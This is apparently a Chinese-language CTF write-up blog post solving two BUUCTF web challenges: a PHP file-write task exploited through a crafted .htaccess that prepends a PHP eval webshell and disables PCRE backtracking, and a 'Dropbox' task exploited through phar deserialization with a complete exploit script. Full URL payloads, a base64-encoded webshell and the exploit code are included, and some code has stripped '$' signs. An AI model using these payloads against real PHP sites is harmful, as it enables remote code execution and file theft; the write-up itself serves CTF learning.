buu做题记录
buu做题记录

buu做题记录

之前博客的记录

[羊城杯2020]easyphp

 <?php
    files = scandir('./');    foreach(files as file) {
        if(is_file(file)){
            if (file !== "index.php") {
                unlink(file);
            }
        }
    }
    if(!isset(_GET['content']) || !isset(_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    content =_GET['content'];
    if(stristr(content,'on') || stristr(content,'html') || stristr(content,'type') || stristr(content,'flag') || stristr(content,'upload') || stristr(content,'file')) {
        echo "Hacker";
        die();
    }
    filename =_GET['filename'];
    if(preg_match("/[^a-z\.]/", filename) == 1) {
        echo "Hacker";
        die();
    }files = scandir('./'); 
    foreach(files asfile) {
        if(is_file(file)){
            if (file !== "index.php") {
                unlink(file);
            }
        }
    }
    file_put_contents(filename, $content . "\nHello, world");
?> 

可以看到我们有几处需要绕过的地方:

  • 第11行,几个stristr()函数的绕过
  • 第20行,正则匹配preg_match的绕过
  • 第32行,会在要添加的文件内容后面加上/nHello,world

本题我们使用.hatccess设置文件自动包含的方法,让每一个页面(本体的index.php)页面自动包含.hatccess文件的内容,达到getshell的目的。

.htaccess里面设置自动包含的方法:

//格式
php_value setting_name setting_value
//本题
php_value auto_prepend_file .htaccess

//setting_name可以选择的值有两个,auto_prepend_file是在页面顶部加载文件,auto_append_file是在页面底部加载文件

\n的绕过

如果我们不进行绕过的话,在.htaccess文件里面出现了新的一行Hello,world字符串会导致apache加载崩溃,我们可以在末尾处加上’\’来对\n进行转义从而达到绕过的目的

绕过stristr

这里进行文件内容写入的函数是file_put_contents(),于是想到了那个男人的那篇文章

利用php伪协议 php://filter/write=convert.base64-decode/resource=.htaccess来进行绕过。写入的内容要base64编码之后传入

绕过正则

因为判断正则的语句是preg_match(“/[^a-z.]/”, $filename) == 1) 而不是preg_match(“/[^a-z.]/”, $filename) !==0 ),我们可以使用回溯绕过。在php版本小于7的时候这个值是10万,大于7是一百万。因为本题的.htaccess内容是我们可控的,我们可以通过写入.htaccess文件来设置最大回溯次数,使preg_match()返回null,从而绕过正则匹配。

总结一下我们要写入.htaccess文件的内容如下:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world

其中第二行是防止jit引擎进行正则匹配(php version >7)

于是我们的payload是:

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=system('cat /fl??');//写入命令

另一种方法

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

参考文章

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开是一个登陆界面,sql注入并没有什么用,创建账号登录进去,和题目描述的一样是个小型网盘,能上传图片,存储图片,下载图片。

我们在下载图片的位置可以构造filename=../../index.php,能够下载到源码。获得源码之后开始审计:

先寻找危险函数:我们在class.php中找到了file_get_contents(),能进行任意文件读取。

接下来我们去寻找poc:

本体源码中并没有反序列化的函数,但是存在文件操作的函数,所以可以通过上传phar文件并且用文件操作的函数去触发phar文件内的php语句,达到读取文件的目的。

既然要寻找poc,我们需要把注意力放在__call()和__destruct()这两个魔术方法上。全局搜索可以利用的__call()和__destruct()

找到可以利用的__call()函数:来自Filelist类

找到可以利用的__destruct()函数:来自User类

我们发现在User类中的__destruct()中也存在close()函数,与我们想调用的危险函数close()是同名函数,于是思路就比较清晰了:

我们先new一个User类,将其中的db指向一个new的Filelist类,在析构的时候会调用db->close(),即Filelist类中的close(),但是在Filelist中并不存在这个函数,于是会触发魔术方法__call(),我们把Filelist里面的$files定义为一个File类的实例化对象

User类里面有__construct()构造方法和__destruct()析构方法,当User对象被销毁的时候会执行db参数的close()方法

在FileList类的构造方法里面创建了File对象,在魔术方法__call里面,如果对应的方法在FilelIST类里面没有的话,就执行File对象的这个方法,同时将执行结果储存在results数组里面

当FileList对象被销毁的时候,则将results数组里面的内容全部输出出来

poc构造完毕,贴exp:

<?php
// add object of any class as meta data
	class User
	{
		public db;
	}
	class FileList
	{
		privatefiles;
		public function __construct()
		{
			this->files=array(new File());
		}
	}
	class File
	{
		publicfilename='/flag.txt';
	}

	b=new FileList();c=new User();
	c->db=b;
    
 // create new Phar
    phar = new Phar('test.phar');phar->startBuffering();
    phar->addFromString('test.txt', 'text');phar->setStub('<?php __HALT_COMPILER(); ? >');
    phar->setMetadata(c);
    $phar->stopBuffering();
 ?>

改包上传,再改包删除,再delete.php里的open()函数里触发反序列化,得到回显flag

发表评论

您的电子邮箱地址不会被公开。